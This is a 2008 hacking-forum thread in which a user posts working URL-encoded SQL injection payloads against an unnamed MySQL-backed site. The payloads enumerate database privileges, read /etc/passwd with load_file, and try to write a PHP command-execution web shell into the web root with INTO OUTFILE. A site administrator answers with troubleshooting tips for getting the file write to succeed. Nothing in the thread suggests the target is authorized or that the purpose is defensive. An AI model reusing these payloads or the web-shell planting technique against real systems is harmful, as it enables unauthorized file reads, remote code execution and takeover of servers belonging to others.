|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
INTO OUTFILE help! |
|
Posted: Wed Sep 03, 2008 1:32 am |
|
|
MFStyle |
Regular user |
|
|
Joined: Apr 14, 2008 |
Posts: 24 |
|
|
|
|
|
|
|
i have some problems with into outfile but i can't solve it alone.
Code: | -1'+UNION+ALL+SELECT+1,2,grantee,4,5,6,is_grantable,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.user_privileges/* |
this works normally...it says root@localhost and YES.
Code: | -1'+UNION+ALL+SELECT+1,2,file_priv,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+mysql.user/* |
it says Y.
So i have file privileges.
load_file works perfect, /etc/passwd etc, i have web root directory, the
right path, but when i want something like this
Code: | -1'+UNION+ALL+SELECT+'%3C?php%20include($_GET[%22cmd%22]);?%3E',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+mysql.user+INTO+OUTFILE+'/therightpath/rfi.php'/* |
it says: Can't create/write to file '/therightpath/rfi.php'
somebody have solution, help?
Thanks |
|
|
|
|
|
|
|
|
Posted: Wed Sep 03, 2008 11:00 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
You may have filesystem permission problems. Try first writing to "/tmp" directory. And be sure, that file does not exist allready, because "INTO OUTFILE" will not owerwrite existing file. |
|
|
|
|
Posted: Wed Sep 03, 2008 12:11 pm |
|
|
MFStyle |
Regular user |
|
|
Joined: Apr 14, 2008 |
Posts: 24 |
|
|
|
|
|
|
|
i already tried that and it's working, i can write to /tmp
something like this
Code: | -1'+UNION+ALL+SELECT+1,2,%22test%20data%22,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+mysql.user+into+outfile+'/tmp/file.txt'/* |
then when i do load_file('/tmp/file.txt') it loads 1,2,test data and column
numbers, but that can be fixed with nulls, so it works.
what should i do now?
Thanks |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|